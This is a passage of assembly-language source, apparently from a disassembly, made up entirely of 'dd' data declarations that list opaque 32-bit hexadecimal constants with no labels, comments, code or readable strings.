		dd 84DF95F6h, 0F2602A00h, 0D3EAB526h, 4C0472C1h, 0CF3EE811h
		dd 9AAF6D00h, 6FFA234Fh, 98FC7A73h, 3F4CDE00h, 0B5029482h
		dd 8B3D0491h, 82DBEC76h, 24410DC4h, 560CCC6Dh, 0E33E9D00h
		dd 68476628h, 0B85100D9h, 23733407h, 0E9004995h, 0BFA01C96h
		dd 104E7FDh, 161590DCh,	80B02C61h, 87566E11h, 4D1902h
		dd 8C087244h, 0A6CB8F1h, 952FC91Ch, 6160EB80h, 0CFD490h
		dd 7C8E1BC4h, 0F8A1AA1Ah, 5E4AD5Ch, 9D5193AFh, 0C69BCCD0h
		dd 80CD3F9Eh, 9033F118h, 901F2F92h, 807AEF76h, 0CE45A9BAh
		dd 7B57C9h, 0E301409Ch,	46E6FC15h, 98EA6F1Ch, 617E190Bh
		dd 16315528h, 9830B6C9h, 0F8B8FEh, 6A8F21ECh, 0A5378329h
		dd 2F0048B8h, 671F69CEh, 0EE73DBh, 0F4BD9A0Dh, 415C7EE6h
		dd 1187D400h, 0AD663F6Dh, 0C428482Ch, 0F2303A04h, 4578081h
		dd 835CEB14h, 80CB3BE8h, 60BCCC0Bh, 16B42Fh, 2DD1ABBDh
		dd 368A6245h, 0D0A2000h, 0A56094BAh, 0AE6830E6h, 8A96E5C0h
		dd 83B90600h, 5F5509B8h, 0FCCB00FAh, 3C7035CCh,	0DE00E840h
		dd 22219491h, 1C3DF84Dh, 415CE9A8h, 9BBE96CDh, 0E6F040B4h
		dd 78F0F32Eh, 0AD07B0Eh, 693259Eh, 2B7500FBh, 737EBCD1h
		dd 56714900h, 0E283E3C4h, 0AEF00E4h, 0F9F2CA96h, 2CB028B2h
		dd 6D169E00h, 0FB55B444h, 0E33F01E4h, 0D1801594h, 0A9FDF445h
		dd 210010B8h, 0EF095923h, 1DC919EDh, 0C0B8785Bh, 7A02C061h
		dd 2003537Fh, 0A0FFBE1Ch, 3EF81C6Ch, 103F0066h,	7E1E9321h
		dd 2F00FC92h, 0EF0E6CADh, 1229C9CDh, 406AE191h,	0EA5761ACh
		dd 0D00749Bh, 0EEE84F7Ah, 4943B1h, 0BB84A63Bh, 3ED2B914h
		dd 681CFB03h
		dd 0D0FFD04Dh, 0CB5777Ch, 0E6AB0B53h, 0A3005210h, 4A5FF1A5h
		dd 3B93986h, 0D8728F43h, 61F8588Ch, 414411DEh, 0CC80167Bh
		dd 0A290931Bh, 416882A8h, 290EE307h, 0A957BFAFh, 6522613h
		dd 0E618C9C9h, 540030D2h, 1A6F8638h, 0A5AB1h, 0B70F4F85h
		dd 5BA9AAE5h, 0DE3638h,	81FA80EFh, 0FDF66Eh, 0F45A2788h
		dd 34A20C7Ah, 0C2A75600h, 998E5E71h, 0ECC00039h, 0EECF9CC7h
		dd 3E18FC52h, 3A134BFh,	0E0484C64h, 0B10F1B00h,	6EDECC6Dh
		dd 36A82F00h, 0C835D64Ch, 7BB400C1h, 952FF7Ch, 9B00EE19h
		dd 2D1A54ABh, 0BAB81Fh,	0B715A96h, 1385E62Bh, 90A64D18h
		dd 7C08E11h, 4F17D99Fh,	9881052h, 29009A7Ch, 2078F521h
		dd 729ECDB0h, 0C87F008Eh, 0C6741C0Ch, 391572AAh, 943BFDh
		dd 0AC2A1EB9h, 266A1A31h, 0F0BFF1h, 87E9C630h, 0A100A618h
		dd 4304E473h, 3D528213h, 50FC9EC5h, 314C06Ah, 5CC1332Bh
		dd 0A0C0E8EEh, 4700AEE9h, 0DDFAF011h, 5BF8CEh, 0C28081CAh
		dd 16232870h, 845AFD0Fh, 3C34E00Fh, 10976F6h, 9790E38Dh
		dd 80936730h, 1F359670h, 1154447h, 0B232CC36h, 47A32461h
		dd 51BF20B4h, 0DA0F1BC0h, 0B33F6E6Dh, 4F119CC7h, 4C2831D9h
		dd 0E1801B39h, 55AA47A0h, 7B0FEED0h, 73789040h,	5C498800h
		dd 322CCB0h, 588BA5F5h,	0E0CCD3D7h, 1B153864h, 8C1C41h
		dd 0B9EF5F4Bh, 9E0B621h, 9BD052A3h, 6B6D3300h, 860037DBh
		dd 0E3DE94C2h, 0BC987Bh, 796E2AFCh, 0DA7F5985h,	0C1E88207h
		dd 0CBE2B62Fh, 3CC481h,	0FE2C92A3h, 7265AD3h, 0F4FC5F28h
		dd 24E9E700h, 9C634499h, 91BF00EEh, 39A6D427h, 249CF2E3h
		dd 77106901h, 6830135Bh, 0A1360061h, 4FF290BAh,	820354B7h
		dd 99213295h, 3BFFF029h, 0C258004Eh, 3C61D215h,	2F008743h
		dd 20EEE16Dh, 26E98157h, 5538B3h, 4638480h, 7600A651h
		dd 0D95B616h, 4275883h,	0F00C4B26h, 228AC37h, 400917AAh
		dd 3D0F41D5h, 0C4209180h, 0EB4E861Ch, 45248700h, 0FE069D59h
		dd 1C857864h, 7D959092h, 7EA9C580h, 0AC47711Ch,	0B100A898h
		dd 68882897h, 7D1398h, 4B3FB5B7h, 4C84EDA9h, 94B3C701h
		dd 0A12A69ACh, 781431C4h, 6F4D009Bh, 97B476C1h,	0B0768965h
		dd 35A89848h, 0A80058C3h, 7060F930h, 9D143AC1h,	81C56BAh
		dd 790E00DBh, 43D6BF37h, 2420AD00h, 0D8BD36D9h,	0E6DD007Ah
		dd 9CCAC9A9h, 2B307199h, 63BF98ADh, 0D40C5878h,	0C9B0CF03h
		dd 8800A297h, 74498323h, 0B02A59CEh, 7C0800A0h,	0F6C48CAAh
		dd 0E4019425h, 3E14240Dh, 0B8288333h, 4954D500h, 0B3FD7596h
		dd 0D8409A00h, 0A25FF7F2h, 24F63C28h, 0CA1F5C8Eh, 598112CFh
		dd 40ABB006h, 0BBCE9BE8h, 337FD102h, 0C065CCA1h, 58D113Eh
		dd 4540B85h, 7DD08021h,	0E0039CADh, 605887F4h, 0A0B1F3D2h
		dd 2F07B23Dh, 0D400D570h, 7DCB4741h, 8B441505h,	3AC023CCh
		dd 10D41Dh, 0C036961Bh,	0DD11AB61h, 0F6BC3B07h,	2710FF3Eh
		dd 6375C90h, 7D946C7Bh,	0B4F51A9h, 0BDB0F040h, 11AA0F3h
		dd 3E900773h, 24EE6B21h, 954C31B8h, 7A245435h, 720E4917h
		dd 4AD2AE00h, 9CDB5BEh,	8E8984E5h, 0CBBD48A0h, 7D0040D0h
		dd 9E11481Ah, 26D24372h, 1E308CF1h, 8B4C0017h, 619B0A9Fh
		dd 0E13B6273h, 8FFE8071h, 0E0FC485Fh, 0D1B80054h, 0DBF4FADAh
		dd 0E7008190h, 83CFC2C8h, 226993h, 5284F9B8h, 0F5D2F8B9h
		dd 0D75A4F00h, 0A19764ECh, 0A0270041h, 2EB3E58Dh, 0C4075EDBh
		dd 0EAA0D7Ch, 2AC141CEh, 93E4E103h, 7F3500E8h, 9244D5C4h
		dd 531F1574h, 0D4C1EBA3h, 5EACA4FBh, 4C357830h,	9C019C08h
		dd 96F55978h, 5CE70EAh,	4BF9DE00h, 0F22A4F48h, 4A2C03C2h
		dd 0FA689F6Eh, 0A30481A8h, 47902900h, 0E3E0E456h, 857A095Ch
		dd 7881956Dh, 6808815Fh, 7C9C5DCh, 0DA09DCD0h, 314A80h
		dd 2C9FF0FCh, 25F46265h, 7C3CF400h, 1BAAF883h, 63D328C2h
		dd 0A09C2ABAh, 4A8BE0E0h, 0A2340BB4h, 0FF851D00h, 0DD00E61Fh
		dd 0AAC1157Ah, 482DC983h, 5E004C25h, 34377EACh,	48008EDFh
		dd 0EC0C5120h, 895B6Dh,	6299E631h, 8893E570h, 0AED10C0h
		dd 1E1F48Eh, 0B36F6C3Eh, 2A62D207h, 0E49FEC0Bh,	70BD0098h
		dd 4D6ADFE7h, 1892923Ah, 949E9F07h, 25B03891h, 1CD83DFCh
		dd 8237D1ABh, 61896C0Ah, 0B5C208E0h, 5D096200h,	8AE650Bh
		dd 0E62C3F76h, 60B8F700h, 0D7ECCAC5h, 849E491Dh, 86556A80h
		dd 59B44h, 3FFBF958h, 986D5E21h, 0A359381Ch, 6C3B7940h
		dd 7549C9Ah, 8BDBC095h,	85031B69h, 40F7B650h, 3B6001CEh
		dd 76D82E00h, 9A9117CFh, 88E70738h, 19E16B07h, 173B8FD5h
		dd 74598080h, 57360219h, 0BB51F576h, 9B00660h, 37E60300h
		dd 0EF16B1ACh, 113800B6h, 0FDBCAB7Ch, 8013D4Dh,	9D0C9C97h
		dd 66CC6847h, 897009C1h, 14018FD7h, 83254E3h, 381A7D6Eh
		dd 3804C350h, 0F0F6F8CDh, 0A800F404h, 82CAF926h, 0B0780B05h
		dd 0CCA1581Bh, 63EA0073h, 0F83C1E75h, 0D00C55Dh, 1AC48FA8h
		dd 3409454h, 6D74A4BEh,	0F0A80339h, 0B00CE8Eh, 0D598A9C1h
		dd 7E1C5C42h, 16FE01A7h, 6DCF5E58h, 3BE9F85Dh, 0B80E7500h
		dd 7F8727D9h, 0F7D20092h, 957E1849h, 900B8012h,	0A0A97Ah
		dd 249E6548h, 0B0460026h, 95AE0C2h, 0F31886F8h,	1D307FEEh
		dd 3A3603A5h, 0DBACA106h, 7B8B2798h, 3B42BB48h,	0BE2800AAh
		dd 43FEB54Fh, 8A2F078Eh, 206E97D5h, 0EB04C4B9h,	16A233Eh
		dd 0CBA32ACDh, 40FA947Ch, 4B7F72DCh, 85C0D505h,	3A97002Ah
		dd 5C964004h, 0E68E5D00h, 0C86E37F7h, 1B980116h, 7A73C1F3h
		dd 596320D4h, 0B79B3500h, 119F19BBh, 4272004Dh,	0A5D2EFBh
		dd 0E0180BB0h, 0DD60FF99h, 0A99B0B7Fh, 5900B65Ch, 0DEB0641Eh
		dd 4947070h, 0A94A4C28h, 0D42E6000h, 74D80960h,	0C237403h
		dd 0A3136DB9h, 9150E021h, 8100DB1Ch, 0D1643983h, 712F0882h
		dd 8E580955h, 7020ACC4h, 4FD4E672h, 5CB72000h, 6DB04E7Ch
		dd 0EFA20312h, 940A3F92h, 0D189C480h, 6848A5F9h, 1F1C25DCh
		dd 300D46C5h, 5B544F68h, 0BA34A303h, 0B827E045h, 0E0CFAFDBh
		dd 96564814h, 9B28153Eh, 80E3027Ch, 116C2483h, 0B9786080h
		dd 560055FCh, 6708C450h, 3EA0AFh, 2D8D1346h, 2787F1D7h
		dd 39D8A500h, 1A2F45AAh, 0E47C1ECDh, 94AE41D5h,	0D02ABD95h
		dd 0B83E60A5h, 1095C03h, 0A65059E7h, 0E2C0480Fh, 0B4B600A9h
		dd 281D15EFh, 0D9EEBCF2h, 900034F6h, 0AE95CF96h, 6D5319h
		dd 0D5D0691Ah, 20E65D50h, 5834BF2Eh, 56DAB603h,	0C53B08Dh
		dd 0BC50FF90h, 940CF47h, 99F8D1BFh, 557AC203h, 64A0EDA0h
		dd 366B7B02h, 636DC022h, 0D0C0ADA8h, 839D7Ah, 102FC51Dh
		dd 32892F4h, 73C1A48h, 5A8A61DEh, 976B55B0h, 16F468h, 0F2AF6E72h
		dd 0A676BB23h, 50AC5D4Dh, 8A177F18h, 0DB009620h, 0EF886681h
		dd 3ED230B3h, 0DE39E420h, 0D16B6D02h, 80DBB491h, 0AD22320Ch
		dd 0A9A5007Fh, 0E54E25Ah, 390FE3BFh, 60FB8524h,	0C36C378Ch
		dd 8651001Ch, 450C57ACh, 7D74C846h, 81AD041Eh, 0B6A3282h
		dd 1A9960CAh, 0A1471C2Bh, 38307A2Ah, 0CA12E021h, 6B49ED00h
		dd 957034CCh, 9C6A00A9h, 32982C47h, 64489B63h, 82560354h
		dd 0D8556D12h, 1D2D614Ah, 831AF806h, 33E67667h,	21300830h
		dd 7B074641h, 0B3640161h, 0F34D78C0h, 0DB1DC00Ah, 0B6F2A18h
		dd 1FDED158h, 0DF944A33h, 0FC0707D9h, 0F3A1CD63h, 747823h
		dd 1AC2064Fh
		dd 4486605Ah, 30013F49h, 6F0DBC06h, 0BAC12642h,	32779CF0h
		dd 75C963F5h, 11063430h, 88421B01h, 0E8449835h,	0E973AB29h
		dd 0CE591900h, 0E01EA287h, 0C2D600F2h, 2EB6A472h, 103253Eh
		dd 8406881h, 21798042h,	465F1818h, 0C6D2D04Ah, 9822AC00h
		dd 0B00949C3h, 604D746Bh, 7F71212Ah, 0C6069FA8h, 255F1507h
		dd 72831C19h, 42B0002Eh, 396C7805h, 0F86960CAh,	3EB45600h
		dd 0E4253736h, 0F45275BEh, 0E99A002Ah, 0E71A13B5h, 0EB38D968h
		dd 66B8801Ch, 0A4817923h, 0B6760048h, 9AEFFEA2h, 0EB00FFD0h
		dd 0F698CD2Ah, 521820h,	9CB76411h, 0DF1C5755h, 0C71AD000h
		dd 0BBD40B61h, 0C1BC0082h, 0E8748D25h, 9A00A093h, 0C816942Ch
		dd 6E834Dh, 1B0588ADh, 0C98C2820h, 0A404DE03h, 0DFC27A97h
		dd 71645470h, 0E0CD04C3h, 80EDA309h, 9D899810h,	6CCE3502h
		dd 8031C28Fh, 0E1F314A5h, 43E7009Ah, 9B1D1E3Dh,	3C0796DBh
		dd 606571FBh, 1848D0A0h, 8D57006Eh, 3A26A452h, 3707A85Ah
		dd 3CFCC906h, 0C056AC42h, 4E8E6Bh, 5FC12C1Eh, 0F6DF75A4h
		dd 3D36D43Bh, 2612004Dh, 7245E1E8h, 849007A8h, 303441CFh
		dd 52890E83h, 0F2B49701h, 56A0DECAh, 8B0FFCh, 2ABC9CC4h
		dd 0D2B971BAh, 0DF457800h, 10E4CF5h, 0CBED0077h, 5C7B2F6Ch
		dd 0CD03B7E3h, 621627ABh, 0F54EF015h, 0FDEA00B3h, 780C4341h
		dd 0C300D5A8h, 584AF696h, 284794h, 0B16DA315h, 984B6503h
		dd 72CFD400h, 251EE82Fh, 0E2220042h, 0C5F3DA84h, 0DDE937BAh
		dd 0FDEB83h, 0B6DD3AB8h, 0FC07AE49h, 8E25E1FFh,	0CAC05DE0h
		dd 0DBC61E77h, 7A524CD6h, 3A007D30h, 510C5C59h,	14D53h
		dd 0C7D3999Fh, 0A52E0E3Eh, 803D2F0h, 0D5F0AC9Ah, 53B0FFCCh
		dd 0E67EE9h, 0B1CD8D87h, 11D34942h, 77C0291Fh, 0C50082D2h
		dd 71B9C401h, 0BB640718h, 0B0D426DAh, 0FB30CE13h, 915B0400h
		dd 0C64B39B2h, 0CA0C03FAh, 7DDA643h, 28117807h,	0A840BDC9h
		dd 1D6D077h, 2D12BAAh, 0E404F1CFh, 492CE250h, 38D5F3h
		dd 0CEE6A09Fh, 1CA5478Ah, 0C0755CF9h, 418D74EAh, 0C4002A92h
		dd 3FC9E70Eh, 1EA838BBh, 406702F8h, 0F65446AEh,	3E00B99Bh
		dd 7A7543C2h, 1E2216Dh,	89CAACC8h, 0C8AFE092h, 0AB07EE8Eh
		dd 0F96508D5h, 0A4015415h, 0E9649391h, 9D24C4h,	29A2A3E8h
		dd 9923F033h, 3B39FD00h, 4AEADED8h, 0D70B0E48h,	0DB0316B5h
		dd 0F112D563h, 0EE013CD9h, 0A1750A6Ah, 6D78F0h,	0EA8CF3ABh
		dd 3CC458EFh, 98654C06h, 21785399h, 0A0009524h,	0D3919EB6h
		dd 0E21904Bh, 68BBA897h, 5C8054EEh, 3A6FDFC6h, 0FCCE1003h
		dd 81B42694h, 0A0DAFEB3h, 27B2F9F4h, 0C4670ECh,	0DE1D432Ch
		dd 9E0011E0h, 0C80DC4E3h, 48124AD0h, 3D7F1450h,	0B0804DA2h
		dd 27B9F03Eh, 0DC1FCD99h, 5E8189E2h, 9DD15402h,	2368FCh
		dd 8519E417h, 0B7363572h, 0E5A72001h, 44DDE2CBh, 0CDE448F9h
		dd 553200F4h, 1F03A351h, 2C3E4B0Dh, 0F2FC8C24h,	19CA88Fh
		dd 0B84ABF46h, 0CC83F755h, 68774D71h, 813D38h, 0D204B5FDh
		dd 74F04Fh, 0F862532Ah,	812F6BD1h, 0E600CBF2h, 0AF313C27h
		dd 0C6E1C4h, 0E0A79E50h, 0E7940ED6h, 0C9F77900h, 0CEFBAF5Bh
		dd 71E100F4h, 95386EA8h, 7B00EE3Ah, 0FADA96A4h,	8D658Bh
		dd 6E6B1D77h, 8C0EA210h, 33AB5A00h, 0FFE6C24Bh,	7C390293h
		dd 28796A55h, 0D6CB9040h, 1C24F900h, 0FC5E4A0h,	0FA6B1DA3h
		dd 772240CAh, 2A559805h, 62F9B700h, 5813DE09h, 0C81750A9h
		dd 0FE5C0045h, 8EBBD1A1h, 873F69FFh, 19539D55h,	7900CC92h
		dd 25DF282Dh, 7FAF0064h, 0BE5D82F2h, 6B18B2ECh,	0FA189B48h
		dd 0C03273A8h, 626A72E8h, 6E00E3A0h, 0B9029A80h, 0CE4D9Fh
		dd 0ADF98EDh, 8CAAF2ADh, 836E323Ch, 31990470h, 0FE7590B6h
		dd 0F6360034h, 0A9F8F7E4h, 0EC03A22Ah, 29DE43D1h, 0FFAF804Ch
		dd 13DC0066h, 1F5B7DAh,	6028B3Bh, 0CEA94348h, 0EF3440F2h
		dd 45A4090Dh, 3000622Dh, 6B649C8Eh, 6C6A000h, 477C999Ah
		dd 33F60783h, 50815619h, 0BE539549h, 0AED4E207h, 0E23FE9Eh
		dd 0A478A01Ch, 0C6B9003Bh, 22D144F9h, 6B01C58Eh, 156547F6h
		dd 95E02F67h, 235F823h,	5A71A4ABh, 0B06337C0h, 0C4A097ABh
		dd 0AC9AFD42h, 0BC5DB929h, 6D6C2A00h, 0DDB887h,	0ECCA37E5h
		dd 8E3DAA64h, 13BCDC00h, 0C8D13BAEh, 0A4270353h, 0B4D9B977h
		dd 0DFB0CA8h, 9B178D00h, 1379F0A3h, 0CB630031h,	66F8678Ch
		dd 0E800E178h, 0CAAAC32Bh, 8227F5h, 50747522h, 0A912817Eh
		dd 0C9EA7F00h, 0CE4945D4h, 88F6DCh, 0BBB5135h, 3AD30A8Ch
		dd 66632200h, 5CABF511h, 744300A8h, 16870BB3h, 0EF25B1Dh
		dd 954A03Dh, 8032ECB8h,	6823C91Ch, 35A7072Bh, 3075BFFBh
		dd 1FDE3357h, 510EDD00h, 79A323DAh, 0D5B30EB2h,	6CE0B144h
		dd 0ECE9A770h, 0AF1EC000h, 4EC11F59h, 61CE0023h, 0BFB8A982h
		dd 0B307C254h, 278FB69Ch, 1770E641h, 0E0AB9C30h, 675002Eh
		dd 0EA3F4DB0h, 74032DCBh, 0B66B415Fh, 0E0808D5Eh, 7E8DF3Eh
		dd 0C03AA67Ah, 863A9CC6h, 0F56F48h, 0B297B3E3h,	146CCD84h
		dd 0DA0F0ED7h, 0E6A46D00h, 33E589BBh, 0C6AE7800h, 5E927D58h
		dd 69AD0349h, 0E06AA326h, 0CAB65480h, 24311100h, 0AA96D1E8h
		dd 0CC7993h, 2F85395Fh,	4DBA2518h, 81D5EC09h, 0C05C00DDh
		dd 0FA2110Eh, 0BC5E24A8h, 479B9360h, 0B607DBF1h, 0B5B1D439h
		dd 4692CA30h, 78F50FD6h, 0A5E7A827h, 90CB07B9h,	84E39142h
		dd 6B8BD303h, 88991ECAh, 73903DE4h, 0E8890054h,	0E77A8125h
		dd 1A05A9A2h, 8F8B9D53h, 4B11E490h, 0AA490120h,	1C0D0996h
		dd 64CAE95Dh, 91615714h, 0C0511D29h, 48C11ADCh,	560A95B2h
		dd 4249E9Dh, 0D0202DD3h, 0AFC131FCh, 0C93FF61Dh, 1D3BB203h
		dd 0E127E055h, 6E171DB0h, 9D6B83DFh, 0B9E8506Ah, 8112D451h
		dd 6A034136h, 0C8AAA325h, 1D1AC97Ah, 8C72B271h,	5661126Eh
		dd 0BA6F2200h, 0B79D153Fh, 0AF9A0511h, 8997E2h,	0B2BE5548h
		dd 12FE1093h, 1A96B3Eh,	52A07075h, 9FC88B59h, 95541E3Ch
		dd 86904033h, 5AFC3842h, 7D1D783Fh, 0C31E91EAh,	2D00ACADh
		dd 0D6B9C280h, 4BE86Ah,	37C565A4h, 7DE1699Ah, 4F354803h
		dd 0C3DD1DBAh, 0CBC498A9h, 32A400BBh, 3B7603ACh, 0CA38E4D3h
		dd 0FB8B87CDh, 0F2C0EA05h, 3FC0B33Ah, 86155397h, 0BE00BCDCh
		dd 4A5614ABh, 1132963Ah, 87520973h, 65101EA4h, 979829h
		dd 5C807D45h, 0AA04ECD0h, 0B27EA600h, 923D5F1Eh, 6090618Eh
		dd 0EC7CFCF5h, 0F3719F66h, 784EC913h, 47A5040h,	603565DDh
		dd 93BE111Bh, 3F01DFD0h, 9D4EAFD9h, 16D1B109h, 0FB0321B8h
		dd 95CE01D1h, 0BC4623C0h, 0AC4850D9h, 0D0049018h, 0B0F13FE4h
		dd 0B0802735h, 6C20D1F7h, 0DCA26A2Ah, 1C4D8C00h, 862FC4E6h
		dd 7EFE7908h, 35E007Eh,	7850578Fh, 0DB1472A0h, 3E9C93B4h
		dd 44529885h, 19E54E8h,	0B21C7061h, 30A6F88Bh, 5603A140h
		dd 93A4EEA3h, 90E6802Ah, 0A8E9000Dh, 7D3C2A7h, 841E7EE2h
		dd 7707B391h, 8EE04E0Fh, 7B42542h, 0A755ED90h, 3C4B30BCh
		dd 2400AD59h, 0CA9B0A3h, 0D88ACAh, 7B5F38B1h, 67C21545h
		dd 0E625D500h, 17862D63h, 0A77E00EAh, 5ECBC673h, 0FA3EDB7Ch
		dd 6A8200FBh, 2D50D829h, 36AD0061h, 0B6771674h,	4A1D5FACh
		dd 66408AEFh, 7B489C2Fh, 7EE6C3h, 41DEB9BFh, 6FA93847h
		dd 1941600h, 4CF68CA0h,	0EB2038B6h, 112E71Fh, 933FAB89h
		dd 976FE001h, 31710E30h
		dd 7A4E49D3h, 0CF920052h, 15CCFD68h, 0A50023D0h, 5CA485B5h
		dd 0A61A36h, 56E00FBCh,	9FB8279Ah, 0F3E9C13Ch, 9DC0BE02h
		dd 0B4588F7Ah, 0F2ED0014h, 2FEB72F3h, 1200E696h, 232E474h
		dd 3F1DAB3h, 0E3B69456h, 0EC898FBBh, 5C6FF420h,	47A81361h
		dd 0C08029D0h, 0BBF5F12h, 100067D6h, 74CC5807h,	689F8Ah
		dd 7D057AE4h, 6412F65Ah, 0F7AB1900h, 0B1BBB0FBh, 1F65300Bh
		dd 8D96251h, 0A8E3F588h, 6D3094h, 578C7F65h, 0B1A96011h
		dd 0D4C40E00h, 0A18A52B6h, 946E3069h, 47886439h, 65AA7807h
		dd 584075FAh, 0F497BCh,	4389AD39h, 38D7F8B6h, 682BE408h
		dd 3CCF142Ah, 999EC200h, 90C9B4EEh, 273D4124h, 9403B707h
		dd 8BCBFFC0h, 87F600F0h, 46E9EEE8h, 7B00C0C2h, 39243891h
		dd 0E1A37E4h, 0A02FC3ADh, 151FEF0Eh, 1228F436h,	5B3A18BBh
		dd 0FEC2AC18h, 0ABE05701h, 7C5FDB61h, 0F9A8A8E1h, 8EEF31E2h
		dd 0BEBCE608h, 72A40041h, 0FEB22A50h, 3259C0F1h, 7053C068h
		dd 0AD4D901Eh, 400877D9h, 474B2180h, 600AC9C0h,	7F225B0Ah
		dd 0DE0E9C2Bh, 0EA678004h, 787EAE98h, 47B63B41h, 0B8B113h
		dd 0B234389Dh, 5A039417h, 1C13C2EEh, 318008ABh,	0DB40F201h
		dd 46708EC0h, 58592278h, 0E400A952h, 9FD0C2CFh,	5B0015DDh
		dd 0EF8114B2h, 3067188Dh, 7F9B6F9h, 8B01577Dh, 0EDDE4F9Fh
		dd 8BB4768h, 0F60014C9h, 0CACE5781h, 6CFE33E7h,	48C2873Eh
		dd 8A431250h, 96E640Fh,	9C6C08A5h, 0AD8B3480h, 79D8D80h
		dd 2E1D0A4Ah, 2111464Dh, 0A833D61Ch, 0D415E140h, 5030475Ah
		dd 488A844Fh, 0C042E81Fh, 0B772FE00h, 20EDD131h, 0F671448h
		dd 82EF802Ah, 403B2497h, 28828EF4h, 77011FAh, 4308F1F3h
		dd 0D2EE8077h, 8C00FCE7h, 8F241161h, 71F49F5h, 71C42944h
		dd 0FDF43251h, 8BEC7C0h, 23CD5B00h, 702EEF06h, 0FCE3DB1h
		dd 0ED1138F0h, 9339F78Eh, 0A3C9A800h, 72076FC4h, 0C2376B8h
		dd 0EFB75D20h, 0FA1A0004h, 0E9B66D02h, 0B3733F58h, 80ECD900h
		dd 19223D7Fh, 8FA100FAh, 302650D2h, 9C1E8899h, 0D9C10A9Fh
		dd 2A6F7055h, 3978C3D4h, 7480C1F1h, 0E1B0DF40h,	0A40034E4h
		dd 3E318066h, 65A25Ch, 0CCD5DB39h, 1F7A6FEh, 580880C0h
		dd 72C39018h, 21A209D8h, 0C7005238h, 2E455AECh,	277B6D00h
		dd 34A16524h, 0BC050F6Fh, 0E6405829h, 0F50A8BA0h, 8905D9EAh
		dd 0EA950335h, 809C800Fh, 0F29EA552h, 0FD6C002Dh, 0CADAC818h
		dd 0D00E7F0h, 248C777h,	745AC9D8h, 0EDEC030Eh, 293D4F9Dh
		dd 645811Ch, 4488A440h,	396DDD78h, 4100E83Ch, 0E33A245Dh
		dd 8C1EA197h, 0CB8120F7h, 0B09FE465h, 2DAC044Fh, 9E964A1Fh
		dd 0AF8F160Fh, 5E8C80AFh, 9D24FE0h, 91782983h, 179D8800h
		dd 1501FEA7h, 125F9557h, 14420F8Dh, 0C94221F5h,	9CA6ECB2h
		dd 4A099200h, 0E3748F46h, 4C0303A5h, 0F2CD3025h, 8F01ED8h
		dd 0B9001E98h, 0C77354AEh, 0F7200Fh, 0E05B3789h, 6911D843h
		dd 0D01B58C3h, 0EAEF902Eh, 183701D6h, 0E3BECA75h, 0F520F4F3h
		dd 7DDE7F00h, 81F8A168h, 7B5A1C37h, 1D8480EDh, 40E68583h
		dd 76106300h, 0D1A53471h, 4E3B0073h, 242A9802h,	5E009AA0h
		dd 0AB8261E1h, 3B0CDADBh, 0C5804FD1h, 0E2D33271h, 0CD0EF5E5h
		dd 802BD59Ch, 0F1FA3BC9h, 0FF68006Eh, 0A59DAA03h, 8FE887CAh
		dd 7414F91Ch, 8CCD5100h, 4C49E2h, 0C5B0F62Ch, 161E7E61h
		dd 0E8DE20C0h, 3F5ECE71h, 758F56A0h, 0BA602A14h, 68D97B7Ch
		dd 3C0BCA00h, 2E731FF0h, 4B250ED6h, 0CE00EE05h,	8058ABA2h
		dd 0E442FD00h, 3A2F3587h, 49C8ED5Eh, 3E6401EBh,	0BCAF4D01h
		dd 11807081h, 1D1AA500h, 800BC32Ch, 0ACF500CFh,	903C754Bh
		dd 17006384h, 31D4A1A8h, 0A71106h, 0F9A946BDh, 4C20705Dh
		dd 69C7DE00h, 0F1412296h, 0F6E102C4h, 0A166873Eh, 52AF2C40h
		dd 69443800h, 72AA7911h, 227351h, 3728503Dh, 31A79033h
		dd 1D73F738h, 948065B9h, 0EA1BA40Ch, 645100D2h,	2FB56EA9h
		dd 7400C280h, 0FC5475D1h, 26F894Fh, 16D68E11h, 644859A6h
		dd 0C03BF3Ah, 0EC51CEF1h, 99FDA0AAh, 122B0074h,	5535052Ch
		dd 0B5072E25h, 1A7D0397h, 53C67800h, 69220CCEh,	26687FFDh
		dd 0D1B5E900h, 0FB4A1105h, 0FCD3B0A5h, 2C951E0Ah, 0AD93438Bh
		dd 0ABE89E75h, 900F7CEh, 0DA9B0DB8h, 30767722h,	0FF80EEBBh
		dd 957B81BFh, 2D10ED60h, 1DAE0F38h, 408E3989h, 86B3282h
		dd 99056C7Bh, 977F1775h, 1D83A780h, 8BA303E8h, 0BB72BCF4h
		dd 0E6E767C0h, 0C8D6DE01h, 0C5AAEA29h, 3CE040DEh, 0D28C0346h
		dd 796D9134h, 0B9D643D0h, 0B0AD682Ah, 5FFB4B00h, 1865F1C1h
		dd 5A4C0E1Dh, 0DA80A6D0h, 0B923C516h, 0A4FF6600h, 9DFDF5C3h
		dd 0A34700D9h, 385426ABh, 0CB0C4BAEh, 0A48AA6Bh, 0F39501A7h
		dd 3FB1255Bh, 0BA2434EAh, 0FA852800h, 43FC2214h, 0B3B801FDh
		dd 553F3E36h, 0FCE3F592h, 7F03A05Fh, 0CBB1A248h, 27A3F874h
		dd 7E1008Bh, 0D932CF23h, 0DF039053h, 0E7DB707Bh, 482B9A98h
		dd 348072Ch, 0FD5593A3h, 3903AD25h, 0AE80E346h,	17F1032Eh
		dd 0CA9A712h, 0CD72200Ch, 0E7518F4h, 6E81D199h,	8CC0AEE0h
		dd 0F03AA6E4h, 5628014h, 912C3403h, 558F004Ch, 0F2CE8738h
		dd 0BBEC2A21h, 0D5321B01h, 5BA63CC8h, 0F809DC21h, 80CFE2DCh
		dd 8300B925h, 0F0297AB4h, 78E152Ah, 38241287h, 80A4C45Eh
		dd 628BD2BCh, 8007E92Ch, 9C272A3Ch, 0B89EF43Eh,	0C7A60420h
		dd 0D4D0648Fh, 5C1371h,	246C5541h, 73F81C10h, 3E00797Eh
		dd 5822F9ADh, 7481DA95h, 0E84F04AAh, 90976F8Ah,	56EC133Ch
		dd 14A35428h, 62037100h, 12B921C0h, 3552129Fh, 2AA44868h
		dd 91ADC200h, 9061A030h, 0A571B8h, 0BA2977A1h, 851680F0h
		dd 38987948h, 0D9F58A48h, 6280B83Ch, 0DB4530D4h, 0EE9900B8h
		dd 0E4EB6175h, 23009218h, 0D4DEE193h, 0C0736202h, 9AE59490h
		dd 0F6317995h, 31DEF1BFh, 17079620h, 0DC8F09h, 1B69F91Dh
		dd 9B0093BCh, 40331254h, 0E072CF74h, 0B6390055h, 9E6C709Dh
		dd 0C309A516h, 2F62F5A8h, 20854408h, 66E124D0h,	3D5D006Bh
		dd 0F1D73E9Ch, 0BF01DBBBh, 4AFFECEEh, 0E0F65AACh, 6D8473h
		dd 0A93B4789h, 0D4A490D6h, 0C1057CF8h, 0E145DF43h, 555D800h
